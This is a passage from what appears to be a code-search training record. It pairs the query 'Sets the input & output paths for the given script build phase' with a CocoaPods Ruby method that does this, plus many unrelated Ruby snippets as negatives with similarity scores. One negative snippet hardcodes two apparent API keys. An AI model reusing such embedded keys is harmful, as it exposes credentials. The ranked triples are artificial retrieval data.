self.thread_variable_set(\"latest_output\", [])\n self.thread_variable_set(\"terminal\", terminal)\n self.thread_variable_set(\"input_processed\", false)\n self.thread_variable_set(\"project_exe\", self.start_project)\n end\n end", "def initialize\n self.sdk = \"iphonesimulator\" unless sdk\n self.test_output = :junit\n super\n end", "def initialize_mixlib_config\n super\n end", "def initialize(\n logger: Logger.new($stdout),\n logger_stderr: Logger.new($stderr),\n config: Config.new,\n cmd_runner: CmdRunner.new,\n platforms_handler: PlatformsHandler.new,\n nodes_handler: NodesHandler.new,\n actions_executor: ActionsExecutor.new\n )\n init_loggers(logger, logger_stderr)\n @config = config\n @cmd_runner = cmd_runner\n @platforms_handler = platforms_handler\n @nodes_handler = nodes_handler\n @actions_executor = actions_executor\n @platforms_handler.inject_dependencies(nodes_handler: @nodes_handler, actions_executor: @actions_executor)\n end", "def initialize(target_proc: nil, input_proc: nil, bias_neuron: 2.0,\n number_of_medial_neurons: 40, learning_rate: 0.01)\n @input_proc = input_proc || -> { [rand, rand * 2 * Math::PI] }\n @target_proc = target_proc || -> (r, a) { Complex.polar(r, a).rectangular }\n\n @number_of_inputs = input_proc.call.length\n @number_of_inputs += 1 if bias_neuron != nil\n\n @number_of_outputs = target_proc.call(*input_proc.call).length\n\n @number_of_medial_neurons = number_of_medial_neurons\n\n @learning_rate = learning_rate\n @bias_neuron = bias_neuron\n @average_error = nil\n @training_iterations = 0\n\n # Initialize the synapse weightings using random numbers\n # `@synone` contains the synapse weights between every input neuron and every\n # medial neuron.\n # `@syntwo` contais the synapse weights between every medial neuron and every\n # output neuron.\n @synone = @number_of_inputs.times.map { @number_of_medial_neurons.times.map { 0.1 * rand } }\n @syntwo = @number_of_medial_neurons.times.map { @number_of_outputs.times.map { 0.1 * rand } }\n end", "def ayah_init\r\n ayah = AYAH::Integration.new(\"d5fbcc5d5d32f645158e72fc00b55eea205b13b4\", \"3969dc9a22c5378abdfc1d576b8757a8638b16d7\")\r\n end", "def Init()\n end", "def initialize task_name = :opal, &block\n @task_name = task_name\n @builder = Builder.new\n @bundle = @builder.bundle\n\n @bundle.config(:normal) { yield @bundle } if block_given?\n\n define\n end", "def init_script\n @adapter.init_script\n end", "def init(command_spec = nil)\n if command_spec\n invoke_repositext_command('init', command_spec, options)\n else\n generate_rtfile(options)\n end\n end", "def init; end", "def setup_target\n link_target_task project.target, (project.sources + [project.main]).map {|fn| objectsify fn }\n end", "def initialize(controllers, lights)\n #start_scheduler\n\n @controllers = controllers\n @devices = lights\n\n # this variable is used to\n @rh_context ||= {}\n end", "def initialize(input, noise_threshold: 1, target: nil)\n super(input)\n @noise_threshold = noise_threshold\n @found_invaders = []\n @target = target\n end", "def initialize(config)\n STDOUT.sync = true\n \n super()\n \n puts \"Console (ec2x-agent #{Ec2x::Config.version})\"\n\n @config = config\n @delegator = Ec2x::CommandDelegator.new(@config)\n end", "def initialize(engine, interactive = true)\n @engine = engine\n @interactive = interactive\n end", "def initialize(integration)\n @integration = integration\n @references = [ ]\n end", "def init(parameters = {}, invocation_options = {})\n exec(RubyTerraform::Commands::Init,\n parameters, invocation_options)\n end", "def initialize target\n super\n @mutex = Mutex.new\n @queue = Queue.new\n @running = @stopped = false\n end", "def mpt_init=(_arg0); end", "def initialize(default_target, arguments)\n option_parser = OptionParser.new\n option_parser.on('--no-ivy') { @no_ivy = true }\n option_parser.on('--no-compile') { @no_compile = true }\n option_parser.on('--no-demo') { @no_demo = true }\n option_parser.on('--no-schema') { @no_schema = true }\n option_parser.on('--no-jre') { @no_jre = true }\n option_parser.on('--no-no') do \n @no_ivy = true\n @no_demo = true\n @no_schema = true\n end\n option_parser.on('--emma') do Registry[:emma] = true end\n \n @start_time = Time.now\n @basedir = FilePath.new(File.dirname(File.expand_path(__FILE__)), \"..\").canonicalize\n Registry[:basedir] = @basedir\n puts(\"Building with base directory: '#@basedir'.\")\n puts\n @default_target = default_target\n @ant = TerracottaAnt.new\n Registry[:ant] = @ant\n @platform = CrossPlatform.create_implementation(:ant => @ant)\n Registry[:platform] = @platform\n \n # The CommandLineConfigSource actually parses its arguments, and returns only the ones\n # that aren't configuration property settings (e.g., of the form 'a=b').\n arguments = option_parser.parse(arguments)\n @arguments, command_line_source = CommandLineConfigSource.from_args(arguments)\n @internal_config_source = InternalConfigSource.new\n Registry[:internal_config_source] = @internal_config_source\n @config_source = create_config_source(command_line_source, @internal_config_source)\n Registry[:config_source] = @config_source\n Registry[:command_line_config] = command_line_source\n\n @script_results = ScriptResults.new\n\n if Registry[:emma]\n Registry[:emma_home] = FilePath.new(@basedir.to_s, \"..\", \"..\", \"buildsystems\", \"emma-2.0.5312\").canonicalize.to_s\n fail(\"EMMA_HOME does not exist: #{Registry[:emma_home]}\") unless File.exists?(Registry[:emma_home])\n Registry[:emma_lib] = \"#{Registry[:emma_home]}/lib/emma.jar\"\n puts \"EMMA_HOME: #{Registry[:emma_home]}\"\n end\n\n # XXX: this is a hack to get around jruby script converting JAVA_HOME to unix path\n begin\n if `uname` =~ /CYGWIN/i\n ENV['JAVA_HOME'] = `cygpath -w #{ENV['JAVA_HOME']}`.strip\n end\n rescue\n # do nothing\n end\n\n reset\n end", "def initialize(name, engine)\n super(engine, name, \"\")\n @agent = engine.item_by_name(name)\n raise ::Demiurge::Errors::NoSuchAgentError.new(\"No such agent as #{name.inspect} found in AgentActionIntention!\", \"agent\" => name,\n execution_context: engine.execution_context) unless @agent\n end", "def initialize(name,type,origin) #this method creates new instances of the robot class\n @name = name\n @type = type\n @origin = origin\n end", "def initialize\n set_config\n end", "def initialize(target, text)\n @target = target.to_sym\n #noinspection RubyArgCount\n raise \"Unsupported docs target #@target\" unless DOC_TARGETS.member?(@target)\n @text = text\n end", "def initialize(target, separator, identifier, params, block, ldelim, rdelim)\n self.target = target\n self.separator = separator\n self.params = params\n self.block = block\n super(identifier, ldelim, rdelim)\n end", "def initialize_macro_command\n raise NotImplementedError\n end", "def initialize(devtype,param)\n setupDevice(devtype,param) ;\n end", "def initialize(a, b)\n @source, @target = a, b\n end", "def initialize\n self.random_generator = self.class.default_generator\n end", "def run_init_script; end" ]
[ "0.67424154", "0.6059745", "0.6043873", "0.60437787", "0.60348547", "0.6023471", "0.6023471", "0.59501505", "0.59501505", "0.5716559", "0.55885744", "0.55348617", "0.5514497", "0.53949964", "0.53949964", "0.53949964", "0.5391593", "0.5381198", "0.5354775", "0.531701", "0.5280564", "0.5271511", "0.5248592", "0.52464247", "0.5236995", "0.5226418", "0.52253467", "0.52253467", "0.52253467", "0.52253467", "0.517571", "0.51750666", "0.51721716", "0.5164094", "0.5157152", "0.5150201", "0.51464957", "0.514412", "0.51396465", "0.5137229", "0.51344615", "0.5131296", "0.512779", "0.51209784", "0.51152116", "0.5094046", "0.5091369", "0.5090656", "0.50861144", "0.50813055", "0.5073726", "0.5051931", "0.504879", "0.5047445", "0.5047309", "0.50421", "0.50388604", "0.50262827", "0.5021915", "0.5019822", "0.5012274", "0.50012136", "0.49935633", "0.49825272", "0.49794647", "0.49787185", "0.49726552", "0.4971907", "0.49684253", "0.496745", "0.49646267", "0.49585077", "0.49550194", "0.49458686", "0.4945603", "0.4943827", "0.49428192", "0.49409053", "0.4939639", "0.4938786", "0.49350822", "0.49326578", "0.49253583", "0.4922193", "0.4918261", "0.4916452", "0.4914469", "0.49137607", "0.49103597", "0.49067596", "0.49037015", "0.48987865", "0.48975497", "0.4896906", "0.4895989", "0.48932078", "0.489149", "0.48905358", "0.48887467", "0.48883265" ]
0.54106754
13
Sets the input & output paths for the given script build phase.
def set_input_output_paths(phase, input_paths_by_config, output_paths_by_config) if input_output_paths_use_filelist?(phase) [input_paths_by_config, output_paths_by_config].each do |hash| hash.each do |file_list, files| generator = Generator::FileList.new(files) Xcode::PodsProjectGenerator::TargetInstallerHelper.update_changed_file(generator, file_list.file_list_path) end end phase.input_paths = nil phase.output_paths = nil phase.input_file_list_paths = input_paths_by_config.each_key.map(&:file_list_relative_path).uniq phase.output_file_list_paths = output_paths_by_config.each_key.map(&:file_list_relative_path).uniq else input_paths = input_paths_by_config.values.flatten(1).uniq output_paths = output_paths_by_config.values.flatten(1).uniq TargetIntegrator.validate_input_output_path_limit(input_paths, output_paths) phase.input_paths = input_paths phase.output_paths = output_paths phase.input_file_list_paths = nil phase.output_file_list_paths = nil end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_input_path_to_script_phase(script_phase, name, platform)\n input_path = \"$(SRCROOT)/#{make_carthage_build_path(name, platform)}\"\n script_phase.input_paths << input_path\nend", "def create_or_update_copy_xcframeworks_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + COPY_XCFRAMEWORKS_PHASE_NAME)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n reorder_script_phase(native_target, phase, :before_compile)\n end", "def create_or_update_copy_resources_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase_name = COPY_PODS_RESOURCES_PHASE_NAME\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + phase_name)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def create_or_update_embed_frameworks_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + EMBED_FRAMEWORK_PHASE_NAME)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def configure_paths\n @source = Pathname.new(configuration[:source]).expand_path\n @root = Pathname.new(configuration[:root]).expand_path\n # Systems like Homebrew and Stow symlink the scripts into $PATH,\n # but RUNNER_BASE_DIR is not relative to the symlink.\n if (@source + control_script_name).symlink?\n @source = (@source + control_script_name).realpath.parent\n end\n end", "def add_copy_resources_script_phase\n unless target.includes_resources?\n native_targets.each do |native_target|\n TargetIntegrator.remove_copy_resources_script_phase_from_target(native_target)\n end\n return\n end\n\n script_path = target.copy_resources_script_relative_path\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths\n target.resource_paths_by_config.each do |config, resource_paths|\n input_paths_key = XCFileListConfigKey.new(target.copy_resources_script_input_files_path(config),\n target.copy_resources_script_input_files_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + resource_paths\n\n output_paths_key = XCFileListConfigKey.new(target.copy_resources_script_output_files_path(config),\n target.copy_resources_script_output_files_relative_path)\n output_paths_by_config[output_paths_key] = TargetIntegrator.resource_output_paths(resource_paths)\n end\n end\n\n native_targets.each do |native_target|\n # Static library targets cannot include resources. Skip this phase from being added instead.\n next if native_target.symbol_type == :static_library\n TargetIntegrator.create_or_update_copy_resources_script_phase_to_target(native_target, script_path,\n input_paths_by_config,\n output_paths_by_config)\n end\n end", "def add_copy_xcframeworks_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_xcframeworks_script_path.relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n xcframeworks = target.xcframeworks.values.flatten\n\n if use_input_output_paths? && !xcframeworks.empty?\n input_file_list_path = target.copy_xcframeworks_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = [script_path]\n\n framework_paths = xcframeworks.map { |xcf| \"${PODS_ROOT}/#{xcf.path.relative_path_from(target.sandbox.root)}\" }\n input_paths.concat framework_paths\n\n output_file_list_path = target.copy_xcframeworks_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = xcframeworks.map do |xcf|\n \"#{Target::BuildSettings::XCFRAMEWORKS_BUILD_DIR_VARIABLE}/#{xcf.target_name}/#{xcf.name}.framework\"\n end\n end\n\n if xcframeworks.empty?\n UserProjectIntegrator::TargetIntegrator.remove_copy_xcframeworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_copy_xcframeworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def add_copy_resources_script_phase\n phase_name = \"Copy Pods Resources\"\n native_targets.each do |native_target|\n phase = native_target.shell_script_build_phases.select { |bp| bp.name == phase_name }.first ||\n native_target.new_shell_script_build_phase(phase_name)\n path = target.copy_resources_script_relative_path\n phase.shell_script = %{\"#{path}\"\\n}\n phase.show_env_vars_in_log = '0'\n end\n end", "def add_copy_dsyms_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_dsyms_script_path.relative_path_from(target.sandbox.root)}\"\n dsym_paths = PodTargetInstaller.dsym_paths(target)\n bcsymbolmap_paths = PodTargetInstaller.bcsymbolmap_paths(target)\n\n if dsym_paths.empty? && bcsymbolmap_paths.empty?\n script_phase = native_target.shell_script_build_phases.find do |bp|\n bp.name && bp.name.end_with?(UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME)\n end\n native_target.build_phases.delete(script_phase) if script_phase.present?\n return\n end\n\n phase_name = UserProjectIntegrator::TargetIntegrator::BUILD_PHASE_PREFIX + UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME\n phase = UserProjectIntegrator::TargetIntegrator.create_or_update_shell_script_build_phase(native_target, phase_name)\n phase.shell_script = %(\"#{script_path}\"\\n)\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths?\n input_file_list_path = target.copy_dsyms_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = []\n input_paths.concat([dsym_paths, *bcsymbolmap_paths].flatten.compact)\n\n output_file_list_path = target.copy_dsyms_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths = output_paths_by_config[output_paths_key] = []\n\n dsym_output_paths = dsym_paths.map { |dsym_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(dsym_path)}\" }\n bcsymbolmap_output_paths = bcsymbolmap_paths.map { |bcsymbolmap_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(bcsymbolmap_path)}\" }\n output_paths.concat([dsym_output_paths, *bcsymbolmap_output_paths].flatten.compact)\n end\n\n UserProjectIntegrator::TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def build\n sync\n output_dir.mkpath\n outputs.each(&:build)\n output_dir.touch\n end", "def compiled_path=(path); end", "def initialize(params)\n\t\tsuper\n\t\tinputs = ensureArray(requireParam(params, :inputs))\n\t\t@cmd = requireParam(params, :cmd)\n\t\toutputs = ensureArray(requireParam(params, :output)).map {|filepath| if filepath.relative? then canonicalizeFilepath(filepath, Dir.pwd()) else filepath end}\n\t\t\n\t\tinputs.each {|filepath| addPrereq filepath}\n\t\toutputs.each {|filepath| addTarget filepath; BuildEnv::setEntityBuilt filepath}\n\t\toutputs.each {|filepath| BuildEnv::addGeneratedFile filepath}\n\tend", "def add_embed_frameworks_script_phase(native_target, spec)\n script_path = \"${PODS_ROOT}/#{target.embed_frameworks_script_path_for_spec(spec).relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n dependent_targets = if spec.test_specification?\n target.dependent_targets_for_test_spec(spec)\n else\n target.dependent_targets_for_app_spec(spec)\n end\n host_target_spec_names = target.app_host_dependent_targets_for_spec(spec).flat_map do |pt|\n pt.specs.map(&:name)\n end.uniq\n framework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.framework_paths.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n xcframework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.xcframeworks.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n\n if use_input_output_paths? && !framework_paths.empty? || !xcframework_paths.empty?\n input_file_list_path = target.embed_frameworks_script_input_files_path_for_spec(spec)\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + UserProjectIntegrator::TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframework_paths)\n\n output_file_list_path = target.embed_frameworks_script_output_files_path_for_spec(spec)\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = UserProjectIntegrator::TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframework_paths)\n end\n\n if framework_paths.empty? && xcframework_paths.empty?\n UserProjectIntegrator::TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def output_path=(path)\n @output_path = path\n end", "def configure_phase\n self.project.targets.each do |target|\n begin\n phase = target.sources_build_phase\n next unless phase\n rescue NoMethodError\n next\n end\n\n \n bundle = target.copy_bundle_recources\n\n # remove zombie build files\n phase.files_references.each do |file|\n begin\n file.real_path\n rescue\n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n end\n \n # remove zombie bundle files\n bundle.files_references.each do |file|\n begin\n file.real_path\n rescue\n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file\n end\n end\n end\n\n removings = [] # name of seeds going to be removed from the target\n addings = [] # name of seeds going to be added to the target\n\n self.targets.keys.sort.each do |seed_name|\n target_names = self.targets[seed_name]\n if not target_names.include?(target.name)\n removings << seed_name if not removings.include?(seed_name)\n else\n addings << seed_name if not addings.include?(seed_name)\n end\n end\n\n\n self.file_references.each do |file|\n\n removings.each do |seed_names|\n next if not seed_names.include?(file.parent.name)\n \n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file \n end\n \n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n\n addings.each do |seed_names|\n next if file.name.end_with? \".h\"\n next if not seed_names.include?(file.parent.name)\n uuid = Xcodeproj::uuid_with_name \"#{target.name}:#{file.name}\"\n \n if self.seeds[seed_names].resources.any? { |s| file.name.end_with? s }\n bundle.add_file_reference_with_uuid(file, uuid, true)\n else \n phase.add_file_reference_with_uuid(file, uuid, true)\n end\n\n end\n end\n end\n end", "def setup_source_files\n project.sources.each do |src|\n # Figure out where stuff should come from and go to\n source_file = src\n object_file = objectsify src\n compile_task object_file, source_file\n end#project.sources.each\n end", "def populate_output_path(options = {})\n base = Pathname.new(@source_path).basename.to_s\n if options.empty?\n result = base\n else\n name, ext = *base.split(\".\")\n if options[:output_path].nil? || File.directory?(options[:output_path])\n tokens = \"\"\n MODULES.each do |mod|\n token = mod.filename_token(options)\n tokens += \"-#{token}\" unless token.nil?\n end\n result = options[:output_path].nil? ? \"\" : \"#{options[:output_path].to_s}/\"\n result += \"#{name}#{tokens}.#{ext}\"\n elsif !options[:output_path].nil?\n result = \"#{options[:output_path].to_s}.#{ext}\"\n end\n end\n @path = Pathname.new(result)\n end", "def output_path\n \"build\"\n end", "def build!\n test_git!\n\n file_list = Dir.glob(\"#{@source}*\").sort # Pull the file list before creating the target directory\n\n setup_target\n\n add_runner\n\n file_list.each do |infile_name|\n rewrite_animation_frame infile_name\n create_commit infile_name\n end\n end", "def set_output_dir(x)\n return self if @output_dir\n\n @output_dir = x\n @output_dir_abs = File.is_absolute?(@output_dir)\n if @project_dir\n @output_dir_relPath = File.rel_from_to_project(@project_dir, @output_dir)\n end\n self\n end", "def test_automatically_sets_source_path_argument\n assert_equal( [ 'test/fixtures/target', 'libs/src' ], @cmd.source_path )\n end", "def test_automatically_sets_source_path_argument\n assert_equal( [ 'test/fixtures/target', 'libs/src' ], @cmd.source_path )\n end", "def run(args) # :nodoc\n if args.size > 1\n path = File.expand_path(args[1])\n settings[:directory] = \"#{path}:#{settings[:directory]}\"\n msg \"Source directories searched: #{settings[:directory]}\"\n else\n if confirm('Reintialize source path to empty?', false)\n settings[:directory] = '$cdir:$cwd'\n msg 'Source directories searched: $cdir:$cwd'\n end\n end\n end", "def setup_path\n # The Java Buildpack for WLS creates the complete domain structure and other linkages during staging.\n # The directory used for staging is at /tmp/staged/app\n # But the actual DEA execution occurs at /home/vcap/app. This discrepancy can result in broken paths and non-startup of the server.\n # So create linkage from /tmp/staged/app to actual environment of /home/vcap/app when things run in real execution\n # Also, this script needs to be invoked before starting the server as it will create the links and also tweak the server args\n # (to listen on correct port, use user supplied jvm args)\n\n File.open(@application.root.to_s + '/' + SETUP_ENV_SCRIPT, 'w') do |f|\n\n f.puts '#!/bin/sh '\n f.puts '# There are 4 things handled by this script '\n f.puts ' '\n f.puts '# 1. Create links to mimic staging env and update scripts with jvm options '\n f.puts '# The Java Buildpack for WLS creates complete domain structure and other linkages during staging at '\n f.puts '# /tmp/staged/app location '\n f.puts '# But the actual DEA execution occurs at /home/vcap/app. '\n f.puts '# This discrepancy can result in broken paths and non-startup of the server. '\n f.puts '# So create linkage from /tmp/staged/app to actual environment of /home/vcap/app when things run in real execution '\n f.puts '# Create paths that match the staging env, as otherwise scripts will break!! '\n f.puts ' '\n f.puts 'if [ ! -d \\\"/tmp/staged\\\" ]; then '\n f.puts ' /bin/mkdir /tmp/staged '\n f.puts 'fi; '\n f.puts 'if [ ! -d \\\"/tmp/staged/app\\\" ]; then '\n f.puts ' /bin/ln -s `pwd` /tmp/staged/app '\n f.puts 'fi; '\n f.puts ' '\n f.puts ' '\n end\n end", "def create_or_update_user_script_phases(script_phases, native_target)\n script_phase_names = script_phases.map { |k| k[:name] }\n # Delete script phases no longer present in the target.\n native_target_script_phases = native_target.shell_script_build_phases.select do |bp|\n !bp.name.nil? && bp.name.start_with?(USER_BUILD_PHASE_PREFIX)\n end\n native_target_script_phases.each do |script_phase|\n script_phase_name_without_prefix = script_phase.name.sub(USER_BUILD_PHASE_PREFIX, '')\n unless script_phase_names.include?(script_phase_name_without_prefix)\n native_target.build_phases.delete(script_phase)\n end\n end\n # Create or update the ones that are expected to be.\n script_phases.each do |script_phase|\n name_with_prefix = USER_BUILD_PHASE_PREFIX + script_phase[:name]\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, name_with_prefix, nil)\n phase.shell_script = script_phase[:script]\n phase.shell_path = script_phase[:shell_path] || '/bin/sh'\n phase.input_paths = script_phase[:input_files]\n phase.output_paths = script_phase[:output_files]\n phase.input_file_list_paths = script_phase[:input_file_lists]\n phase.output_file_list_paths = script_phase[:output_file_lists]\n phase.dependency_file = script_phase[:dependency_file]\n # At least with Xcode 10 `showEnvVarsInLog` is *NOT* set to any value even if it's checked and it only\n # gets set to '0' if the user has explicitly disabled this.\n if (show_env_vars_in_log = script_phase.fetch(:show_env_vars_in_log, '1')) == '0'\n phase.show_env_vars_in_log = show_env_vars_in_log\n end\n\n execution_position = script_phase[:execution_position]\n reorder_script_phase(native_target, phase, execution_position)\n end\n end", "def build!\n create_output_directory\n spec.source_directories.each { |d| simple_compile_directory(d) }\n compile_files(spec.all_javascript_paths)\n compile_files(spec.all_stylesheet_paths)\n write_manifest\n end", "def script_path\n @script_paths ||= Pathname.new(source_dir).join(data['script_path'] || './scripts').to_s\n end", "def build_script\n File.join(data_dir, 'build-script')\n end", "def create_or_update_shell_script_build_phase(native_target, script_phase_name, show_env_vars_in_log = '0')\n build_phases = native_target.build_phases.grep(Xcodeproj::Project::Object::PBXShellScriptBuildPhase)\n build_phases.find { |phase| phase.name && phase.name.end_with?(script_phase_name) }.tap { |p| p.name = script_phase_name if p } ||\n native_target.project.new(Xcodeproj::Project::Object::PBXShellScriptBuildPhase).tap do |phase|\n UI.message(\"Adding Build Phase '#{script_phase_name}' to project.\") do\n phase.name = script_phase_name\n unless show_env_vars_in_log.nil?\n phase.show_env_vars_in_log = show_env_vars_in_log\n end\n native_target.build_phases << phase\n end\n end\n end", "def setup_path\n # The Java Buildpack for WLS creates the complete domain structure and other linkages during staging.\n # The directory used for staging is at /tmp/staged/app. But the actual DEA execution occurs at /home/vcap/app. This discrepancy can result in broken paths and non-startup of the server.\n # So create linkage from /tmp/staged/app to actual environment of /home/vcap/app when things run in real execution\n # Also, this script needs to be invoked before starting the server as it will create the links and also tweak the server args\n # (to listen on correct port, use user supplied jvm args)\n\n File.open(@application.root.to_s + '/' + SETUP_ENV_SCRIPT, 'w') do |f|\n\n f.puts '#!/bin/bash '\n f.puts ' '\n f.puts 'function fcomp() '\n f.puts '{ '\n f.puts ' awk -v n1=$1 -v n2=$2 \\'BEGIN{ if (n1 == n2) print \"yes\"; else print \"no\"}\\' '\n f.puts '} '\n f.puts ' '\n f.puts 'function multiplyArgs() '\n f.puts '{ '\n f.puts ' input1=$1 '\n f.puts ' input2=$2 '\n f.puts ' mulResult=`echo $input1 $input2 | awk \\'{printf \"%d\", $1*$2}\\' ` '\n f.puts '} '\n f.puts ' '\n f.puts 'function divideArgs() '\n f.puts '{ '\n f.puts ' input1=$1 '\n f.puts ' input2=$2 '\n f.puts ' divResult=`echo $input1 $input2 | awk \\'{printf \"%.2f\", $1/$2}\\' ` '\n f.puts '} '\n f.puts ' '\n f.puts 'function scaleArgs() '\n f.puts '{ '\n f.puts ' inputToken=$1 '\n f.puts ' factor=$2 '\n f.puts ' numberToken=`echo $inputToken | tr -cd [0-9] ` '\n f.puts ' argPrefix=`echo $inputToken | sed -e \\'s/m$//g\\' | tr -cd [a-zA-Z-+:=] ` '\n f.puts ' multiplyArgs $numberToken $factor '\n f.puts ' # Result saved in mulResult variable '\n f.puts ' scaled_number=$mulResult '\n f.puts ' scaled_token=${argPrefix}${scaled_number}m '\n f.puts '} '\n f.puts ' '\n f.puts '# There are 5 things handled by this script '\n f.puts ' '\n f.puts '# 1. Create links to mimic staging env and update scripts with jvm options '\n f.puts '# The Java Buildpack for WLS creates complete domain structure and other linkages during staging at '\n f.puts '# /tmp/staged/app location '\n f.puts '# But the actual DEA execution occurs at /home/vcap/app. '\n f.puts '# This discrepancy can result in broken paths and non-startup of the server. '\n f.puts '# So create linkage from /tmp/staged/app to actual environment of /home/vcap/app when things run in real execution '\n f.puts '# Create paths that match the staging env, as otherwise scripts will break!! '\n f.puts 'if [ ! -d \\\"/tmp/staged\\\" ]; then '\n f.puts ' /bin/mkdir /tmp/staged '\n f.puts 'fi; '\n f.puts 'if [ ! -d \\\"/tmp/staged/app\\\" ]; then '\n f.puts ' /bin/ln -s /home/vcap/app /tmp/staged/app '\n f.puts 'fi; '\n f.puts ' '\n end\n end", "def run!\n # Validate paths\n validate_paths!\n \n # Extract mockup\n copy_source_path_to_build_path!\n \n validate_stack!\n \n # Run stack\n run_stack!\n \n # Run finalizers\n run_finalizers!\n \n # Cleanup\n cleanup! if self.config[:cleanup_build]\n \n end", "def collect_files(set)\n printf(\"@I:Collect Files\\n\")\n \n # Make Director\n Common.make_dir(\"#{@SRC_DIR}\")\n printf(\"@I:Make direcory to save src- %s\\n\",@SRC_DIR)\n @set = set\n \n # Expand Path\n @MACROData.each do |tmp|\n tmp2 = tmp[1]\n tmp2.each do |tmp3|\n result = /^\\$\\{(\\w*)\\}.*/ =~ tmp3[1]\n if result == 0\n path = @set[\"#{$1}\"]\n if path == nil\n $ERROR_CNT += 1\n printf(\"@E:Not found environment path\\(\\$\\{%s\\}\\), pleae chek parameter file\\n\",$1)\n print_summary\n exit\n end\n macro = \"${\" + $1 + \"}\"\n tmp3[1] = tmp3[1].sub(\"#{macro}\",\"#{path}\")\n end\n end\n end\n \n # Copy files to work direcotry & make Readme.txt\n readme = @SRC_DIR + \"/00Readme.txt\"\n f = open(readme,\"w\")\n print_file_header(f,\"Copied files from parts file\")\n f.printf(\"#\\n\");\n f.printf(\"# Execute Information\\n\")\n f.printf(\"#\\n\")\n f.printf(\"# [PARAMETER]\");f.printf(\"%s\\n\",$PARAMETER_FILE) \n f.printf(\"# [REPORT ]\");f.printf(\"%s\\n\",$REPORT_FILE) \n f.printf(\"# [PARTS ]\");f.printf(\"%s\\n\",$PARTS_FILE) \n f.printf(\"# [CONNECT ]\");f.printf(\"%s\\n\",$CONNECT_FILE) \n f.printf(\"#\\n\");\n @MACROData.each do 